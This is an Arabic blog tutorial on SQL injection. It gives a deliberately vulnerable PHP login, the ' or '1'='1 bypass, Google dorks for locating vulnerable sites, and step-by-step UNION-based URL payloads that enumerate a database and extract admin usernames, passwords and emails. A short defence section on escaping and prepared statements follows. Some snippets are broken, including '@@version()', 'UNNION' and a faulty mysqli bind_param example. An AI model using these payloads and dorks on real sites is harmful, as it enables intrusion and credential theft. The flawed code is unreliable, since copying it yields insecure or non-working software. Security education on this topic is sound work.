استغلال ثغرة SQL عبر الإستمارة - مدونة الحاسوب

مدونة تهتم بالحاسوب والبرامج وبرمجة الاكواد وانشاء روابط وتعليم الاختراق والمواقع ا https://compterworld.blogspot.com/

Translate

الأربعاء، 17 مايو 2017

استغلال ثغرة SQL عبر الإستمارة

لنأخذ على سبيل المثال الشيفرة أسفله ، و التي تضم استمارة الدخول و تقوم أيضا بمعالجتها .
:
 
$db = mysql_connect('localhost', 'root', '');
mysql_select_db("injection");

if(isset($_POST['submit'])) {

  $nom = $_POST['name'];
  $pass = $_POST['pass'];

  $sql = "SELECT name, pass
          FROM   users
          WHERE  name = '$nom'
          AND    pass = '$pass'";
   
  $req = mysql_query($sql) or die('Error SQL !
'.$sql.'
'.mysql_error()); 

  while($data = mysql_fetch_array($req)) 
  {
     echo 'Hello : name = '.$data['name'].'
; password = '.$data['pass'].'
'; } mysql_close($db); } else { ?> <form action="" method="POST"> <p>Username: <input type="text" name="name" /></p> <p>Password: <input type="password" name="pass" /></p> <p><input type="submit" name="submit" value="تسجيل الدخول" /></p> </form> }
هذا السكريبت يتضمن على الثغرة (لتجربة السكريبت ، أنشيء جدولا في القاعدة ثم أضف إليه بعض الإدخالات) ، للتأكد من ذلك ، سنضيف علامة ' في الحقل الأول مثلا ثم نرسل الإستمارة ، سنحصل على الخطأ السابق .
لاستغلال الثغرة ، في مثالنا سنحاول تسجيل دخولنا بدون إسم صحيح أو كلمة مرور :
في الحقل الأول للإستمارة أدخل أي إسم مثلا "admin" . و في حقل كلمة المرور ، أدخل الشيفرة التالية :
' or '1'='1
سنتمكن بكل تأكيد من ربط الإتصال رغم أن بياناتنا ليست صحيحة . رغم أن الإستعلام في السكريبت واضح و منطقي ، فهو يأمر قاعدة البيانات لاختيار البيانات فقط إذا كان الإسم و كلمة المرور التي أرسلها العضو مطابقة تماما للموجودة في القاعدة .
ما الذي حدث بالضبط عندما أضفنا الشيفرة (' or '1'='1) في حقل كلمة المرور ؟
لقد تحايلنا على التعليمة WHERE الموجودة في الإستعلام السابق . بإضافة الشيفرة العجيبة نكون قد قدّمنا إستعلاما كالتالي .
$sql = "SELECT name, pass
        FROM   users
        WHERE  name = 'admin'
        AND    pass = '' 
        OR '1'='1'
      "
علامة الإقتباس الأولى في الشيفرة السابقة ، أتاحت إنهاء عمل التعيمة AND مسفرة عن قيمة فارغة و أتاحت لنا أيضا إضافة استعلام جديد و هو or '1'='1'
بهذا أصبح استعلام طلب الدّخول دائما صحيحا فهو يعني : اختيار البيانات إذا كان الإسم هو admin (و) كلمة المرور فارغة (أو) 1=1 
1=1 شرط صحيح للأبد .
هذا المثال البسيط يلخص دور علامة الاقتباس البسيطة في تغيير مجرى الإستعلام كليا ليشكل خطرا جسيما على كل الموقع .
بعد فهم دور علامة الإقتباس السحرية في إتاحة تمديد الإستعلام الأصلي ، نتقل الآن لرؤية حالة متقدمة من الإستغلال عبر عنوان الويب .

إستغلال ثغرة SQL عبر عنوان الويب

أسهل الطرق المستعملة من قبل المهاجم لإيجاد ثغرة حقنة sql في المواقع المصابة ، هي استعمال دوركات google . أعطيكم بعض الأمثلة لهذه الدوركات :
inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=

لن أسرد كل هذه الدوركات فهي كثيرة ، للحصول على اللائحة كاملة ، ما عليكم سوى البحث عنها في محرك البحث google بإستعمال كلمات بحث شبيهة بهذه "sql injection dorks" .
 
تذكير : هذا الدرس تربوي ، يروم لفهم الثغرة جيدا و كيف يمكن للمهاجم استغلالها . و من ثم سرد الطرق الناجعة لحمايتها .
لهذا أنصحكم إذا رغبتم في تجربة الثغرة من الأجدى فعل ذلك على خادومكم المحلي . لأن الناس لا يحبذون أن تعبثوا بمواقعهم . وهناك قوانين صارمة في هذا المجال حسب بلدكم .
يأخذ المهاجم أي واحد من هذه الدوركات و يضعها في محرك البحث google الذي سيعطيه جميع المواقع التي تشبه عنوان الويب الذي يبحث عنه . و هنا نصل إلى أهم نقطة : لمعرفة هل الموقع مصاب أم لا ؟ سيضيف علامة ' في آخر العنوان على الشكل التالي : 
http://example.kom/article.php?id=25'
بإضافة علامة ' إذا لم يطرأ أي تغيير على الصفحة المعنية ، هذا يعني أن الموقع ليس مصابا . أما إذا حصل على خطأ SQL شبيه بهذا : 
Error SQL !
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near...

يعني أن الموقع مصاب بالثغرة و يمكن للمهاجم استغلالها . ليس بالضرورة أن يحصل على نفس الخطأ أعلى . أيّ خطأ ينجم عن sql ينم عن وجود الثغرة 
(في بعض الحالات يطرء تغيير على الصفحة لكن دون عرض أي خطأ و هذا ينجم عن وجود الثغرة لكنها ليست ظاهرة و تسمى في هذه الحالة : 
BLIND SQL INJECTION . طرق استغلالها تختلف عن التي سنراها أسفله .)
بعد إيجاد الثغرة ، ننتقل لمعرفة كيفية استغلالها .
لاستغلال الثغرة يتبع المهاجم استراتيجية تضم مجموعة من الخطوات : تبدأ بمعرفة عدد الأعمدة الموجودة في القاعدة ثم الجداول التي تتضمن الثغرة و كذلك معرفة إسم مستخدم القاعدة و رقم الإصدار . بعدها يقوم بعرض أسماء الجداول و محتوياتها . كل هذه العمليات يتم تنفيذها مباشرة في عنوان الويب "URL" للموقع المصاب ، أي أن استغلال قاعدة البيانات و إجراء الإستعلامات تُنفذ مباشرة من شريط عناوين المتصفح .

معرفة عدد أعمدة قاعدة البيانات

لمعرفة عدد أعمدة قاعدة البيانات يستعمل التعليمة "Order By" كالتالي :
http://exampleSite.com/article.php?id=25 order by 1--
يبدء بواحد ، و يقوم في كل مرة برفع هذه القيمة
http://exampleSite.com/article.php?id=25 order by 2--
إذا تم عرض الصفحة بطريقة عادية ، يقوم برفع هذا العدد حتى يحصل على خطأ . لنفترض أنه وصل إلى 8 ثم حصل على خطأ :
http://exampleSite.com/article.php?id=25 order by 8-- 
إذا حصل على خطأ شبيه بهذا 
Database error: Unknown column '8' in 'order clause'
هذا يعني أن العمود رقم 8 غير موجود في القاعدة ، بهذا يكون قد حدد عدد الأعمدة و هو 7 في مثالنا . 
ملاحظة : بالنسبة لعلامتي "--" فهي عبارة عن علامتي الملاحظات يمكننا أيضا استبدالهما بعلامتي /* ، فهي تلغي كل ما يأتي بعدها و تعتبره ملاحظات .
بعد معرفة عدد الأعمدة ، ينتقل لمعرفة الأعمدة التي تتضمن الثغرة

معرفة الأعمدة التي تتضمن الثغرة

لمعرفة الأعمدة التي تتضمن الثغرة ، يلجأ للتعليمة "UNNION ALL SELECT"
article.php?id=25 union all select 1,2,3,4,5,6,7--
بعد تنفيذ هذا الإستعلام ، يبحث جيدا في الصفحة عن أي رقم قد يظهر فجأة في مكان ما . يمكن أن يكون رقما واحدا أي أنه وجد عمودا واحدا فقط يتضمن الثغرة ، أو قد يحصل على مجموعة من الأعمدة . لنفترض أن رقمي 4 و 6 ظهرا على الصفحة . يمكنه استغلال أي عمود منهما لإجراء باقي الإستعلامات .
ملاحظة : إذا لم يحصل على أي رقم ، يضيف فقط علامة ناقص "-" بعد علامة تساوي ، و سيتم حل المشكلة : 
id=-25 union all select 1,2,3,4,5,6,7--

معرفة إسم المستخدم و رقم إصدار SQL

لمعرفة رقم الإصدار "version" أو إسم مستخدم قاعدة البيانات "user" . يعتمد على إجراء الإستعلام في أحد الأعمدة التي تتضمن الثغرة ، مثلا في العمود رقم 4 في مثالنا أو 6 : 
لمعرفة إسم المستخدم يستعمل إما user() أو @@user()
لمعرفة رقم الإصدار يستعمل version() أو @@version()
article.php?id=-25 union all select 1,2,3,version(),5,6,7--
سيحصل مثلا على رقم إصدار شبيه بهذا : 5.5.35
إذا كان رقم الإصدار 4 أو أقل سيحتاج إلى تخمين أسماء الأعمدة و الجداول عبر تقنية "brute force" ، توجد برانم تُستعمل لذلك
أما إذا كان الإصدار 5 أو أكبر (كما هو الحال على أغلب الخوادم حاليا) كما في مثالنا يمكنه متابعة استعمال تقنيات الإختراق الموالية .

عرض جميع أسماء الجداول دفعة واحدة

لعرض جميع أسماء الجداول الموجودة في القاعدة :
article.php?id=-25 union all select 1,2,3,group_concat(table_name),5,6,7 from information_schema.tables where table_schema=database()--

عرض جميع أسماء أعمدة الجداول دفعة واحدة

لمعرفة أسماء جميع أعمدة الجداول في القاعدة :
article.php?id=-25 union all select 1,2,3,group_concat(column_name),5,6,7 from information_schema.columns where table_schema=database()--

عرض أسماء الجداول ، جدولا تلو الآخر

لعرض جدول واحد فقط كل مرة ، يستعمل التعليمة LIMIT ، مثلا لعرض إسم الجدول الأول :
article.php?id=-25 union select 1,2,3,table_name,5,6,7 TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA = database() LIMIT 0,1--
إستعملت "UNION SELECT" بدل "UNION ALL SELECT" و "table_name" بدل group_concat(table_name) لعرض جدول واحدا فقط . لعرض أكثر من جدول يتم استعمال الطرق الأولى . 
لعرض إسم الجدول الثاني ، يقوم بتغيير القيمة الأولى ل LIMIT : LIMIT 1,1-- و هكذا دواليك

عرض أسماء الأعمدة لجدول واحد فقط

لنفترض أنه وجد جدولا إسمه "admin" و أراد عرض جميع الأعمدة التي يحتوي عليها :
id=-25 union all select 1,2,3,group_concat(column_name),5,6,7 FROM information_schema.columns WHERE table_name = admin--
في أغلب الحالات بدل الحصول على أسماء الأعمدة سيحصل على خطأ شبيه بهذا :
Database error: Unknown column 'admin' in 'where clause' 
لتفادي هذا الخطأ و عرض أسماء الأعمدة يجب تحويل إسم الجدول إلى صيغة MySql CHAR() . يوجد برنام يقوم بهذا الدور ، و هو عبارة عن إضافة "addon" موزيلا فايرفوكس تجدونها باتباع الرابط التالي : hackbar 
بعد تنصيبها سيتطلب منكم إغلاق متصفح mozilla firefox و إعادة فتحه . لاستعمال الإضافة الجديدة :
1 - أنقر على F9
2 - ستحصل على الخدمات التي تقدمها هذه الإضافة ، أنقر على : "SQL"
3 - ثم اختر : "MySQL" ثم MySql CHAR() 
4 - ستظهر لديك نافذة جديدة ، أدخل فيها إسم الجدول الذي ترغب تحويله ، في مثالنا إسمه "admin" بعد النقر على الموافقة ستحصل على الإسم الجديد على شكل أرقام كالتالي : CHAR(97, 100, 109, 105, 110) . 
هذا الإسم هو الذي سيتم استعماله في الإستعلام لتجاوز مشكلة ترميز قاعدة البيانات :
id=-25 union all select 1,2,3,group_concat(column_name),5,6,7 FROM information_schema.columns WHERE table_name = CHAR(97, 100, 109, 105, 110)--

إستخلاص محتوى الأعمدة

لنفترض أنه وجد هذه الأعمدة في جدول "admin" :
id, username, password, email
لقد وصل إلى أهم مرحلة و هي استخلاص جميع بيانات الجدول ، للحصول على محتوى الأعمدة سيقوم بعرضها على المتصفح باستعمال الإستعلام التالي :
id=-25 union all select 1,2,3,group_concat(username,0x3a,password,0x3a,email),6,7 from admin--
سنكتفي بهذا القدر . إعلموا أنه يمكن أيضا (في بعض الحالات) إستعمال التعليمات DELETE و UPDATE و DROP لحذف أو تعديل البيانات أو إفراغ جدول ما . 
ننتقل لجوهر هذا الموضوع و معرفة كيفية حماية الموقع من ثغرة حقنة SQL .

حماية ثغرة SQL Injection

لمستخدمي mysql

لمستخدمي SQL بالطريقة القديمة كما رأينا في هذا الدّرس . يجب إضافة الدالة mysql_real_escape_string() لجميع البيانات أثناء التعامل مع القاعدة ، مثال :
$nom = mysql_real_escape_string($_POST['name']);
$pass = mysql_real_escape_string($_POST['pass']);
ملحوظة !!! منذ إصدار PHP 5.5.0 لم يعد مُحبّذا استعمال mysql_real_escape_string و mysql .
لهذا يجب التفكير جدّيا للإنتقال إلى استعمال MySQLi أو PDO .

لمستخدمي PDO

لمستخدمي PDO أنتم محميون من هذه الثغرة ، إذا كنتم تهيئون الإستعلام أثناء التعامل مع قاعدة البيانات .
 
try 
{
  $db = new PDO('mysql:host=localhost;dbname=test;charset=utf8', 'root', '');
} 
catch(PDOException $e)
{
    die('خطأ : '. $e->getMessage());
}

 $nom= $_POST['name'];
 $pass = $_POST['pass'];

 $response= $db->prepare('SELECT * FROM users
                   WHERE name = :pseudo AND pass = :pa
                  ');
    $response->bindValue(':pseudo',$nom,PDO::PARAM_STR);
    $response->bindValue(':pa',$pass,PDO::PARAM_STR);
    $response->execute();
    $member = $response->Fetch();
    $response->CloseCursor();
//...

لمستخدمي mysqli بدون تهيئ الإستعلام

إستعمل التعليمة mysqli::escape_string

//...

$nom= mysqli->real_escape_string($_POST['name']);
$pass= mysqli->real_escape_string($_POST['pass']);

لمستخدمي MysQli مع تهييء الإستعلام

أنتم محميون من الثغرة
 
$db= new mysqli($localhost, $user, $password, $db_name);

if (mysqli_connect_errno()) {
    printf("خطأ : %s\n", mysqli_connect_error());
    exit();
}

 $nom= $_POST['name'];
 $pass = $_POST['pass'];

$stmt = $db->prepare('SELECT * FROM users WHERE name = ? AND pass = ?');
$stmt->bind_param('s', $nom);
$stmt->bind_param('s', $pass);

$stmt->execute();

$result = $stmt->get_result();
while($row = $result->fetch_assoc()) {
    // ...
}
هنا ينتهي هذا الدرس ، إلى فرصة قادمة لمعالجة ثغرة أخرى بحول الله .

ليست هناك تعليقات:

إرسال تعليق

اهلا بك ونشكرك على تعليقك ونتمنى ان تكون مستفيدا من المدونة
واقتراحاتك ستكون بالحسبان

أفضل برامج Keylogger مجانية لمراقبة ضغطات المفاتيح في Windows

  يمكن أن يكون برنامج تسجيل المفاتيح عبارة عن جزء من برنامج أو جهاز يمكنه التقاط ضغطات المفاتيح المكتوبة على لوحة مفاتيح الكمبيوتر. يمكن تشغ...